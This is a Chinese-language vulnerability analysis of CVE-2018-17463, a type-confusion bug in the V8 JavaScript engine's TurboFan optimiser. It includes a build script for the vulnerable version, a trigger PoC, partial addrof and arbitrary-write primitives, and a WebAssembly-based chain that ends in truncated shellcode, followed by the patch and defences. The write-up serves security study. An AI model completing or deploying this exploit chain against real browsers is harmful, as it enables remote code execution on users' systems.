Google V8引擎的CVE-2018-17463漏洞分析
字数 1113 2025-08-27 12:33:23
Google V8引擎CVE-2018-17463漏洞分析与利用
漏洞概述
CVE-2018-17463是Google V8 JavaScript引擎中的一个类型混淆漏洞,源于对JSCreateObject操作的side-effect判断错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现任意代码执行。
环境搭建
漏洞存在于commit 52a9e67a477bdb67ca893c25c145ef5191976220之前版本,建议使用以下脚本编译修复前的V8版本:
#!/bin/bash
set -Eeuxo pipefail
fetch v8
pushd v8
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/gm.py x64.release
popd
漏洞原理分析
根本原因
漏洞位于src/compiler/js-operator.cc:625,错误地将JSCreateObject操作标记为kNoWrite(无副作用),而实际上该操作会修改对象属性:
#define CACHED_OP_LIST(V) \
V(CreateObject, Operator::kNoWrite, 1, 1) \
技术背景
- TurboFan优化器:V8的优化编译器,使用基于图的中间表示(IR)
- Sea-of-Nodes:TurboFan的IR设计思想,通过控制依赖、数据依赖和操作依赖构建IR
- Effect Chain:记录操作副作用的依赖链
漏洞触发流程
JSCreateObject被错误标记为无副作用(kNoWrite)- 优化过程中消除冗余的类型检查节点
- 导致类型混淆,最终可实现任意代码执行
漏洞利用技术
漏洞触发验证
通过以下代码可以验证漏洞存在:
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < 10000; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
if(res != 0x5678){
console.log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
check_vul();
类型混淆实现
- 查找碰撞属性对:通过构造特定对象找到在Dictionary模式下会碰撞的属性对(X,Y)
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
// ... 测试代码 ...
}
- addrof原语:泄露任意JavaScript对象的地址
function addrof(obj){
eval(`
function bad_create(o){
o.a;
this.Object.create(o);
return o.${X}.x1;
}
`);
// ... 实现代码 ...
}
- 任意地址读写:通过修改ArrayBuffer的backing_store实现
function arbitraryWrite(obj,addr){
eval(`
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
`);
// ... 实现代码 ...
}
完整利用链
- 构造WebAssembly实例获取rwx内存区域
- 使用addrof原语泄露函数地址
- 通过任意地址读写修改代码内存
- 写入shellcode并执行
// 1. 构造wasm实例
var buffer = new Uint8Array([...]);
var wasmImports = { env: { puts: function(){} } };
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let f = m.exports.p4nda;
// 2. 泄露函数地址
let addr = addrof(f);
// 3. 遍历对象结构找到rwx内存
// JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> imported_function_targets -> rwx_area
// 4. 写入shellcode并执行
let shellcode = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, ...];
let write_tmp = new Uint8Array(mem);
write_tmp.set(shellcode);
f();
漏洞补丁
修复commit 52a9e67a477bdb67ca893c25c145ef5191976220将CreateObject的标志改为kNoProperties:
- V(CreateObject, Operator::kNoWrite, 1, 1)
+ V(CreateObject, Operator::kNoProperties, 1, 1)
关键知识点
- V8对象内存布局:FastProperties与DictionaryProperties模式的区别
- TurboFan优化过程:如何消除冗余的类型检查
- WebAssembly利用:如何通过wasm获取可执行内存区域
- 地址泄露技巧:通过类型混淆实现对象地址泄露
- 任意内存读写:利用ArrayBuffer的backing_store机制
防御措施
- 及时更新V8引擎版本
- 启用V8的指针压缩和写保护功能
- 限制WebAssembly的使用权限
- 实施适当的沙箱隔离措施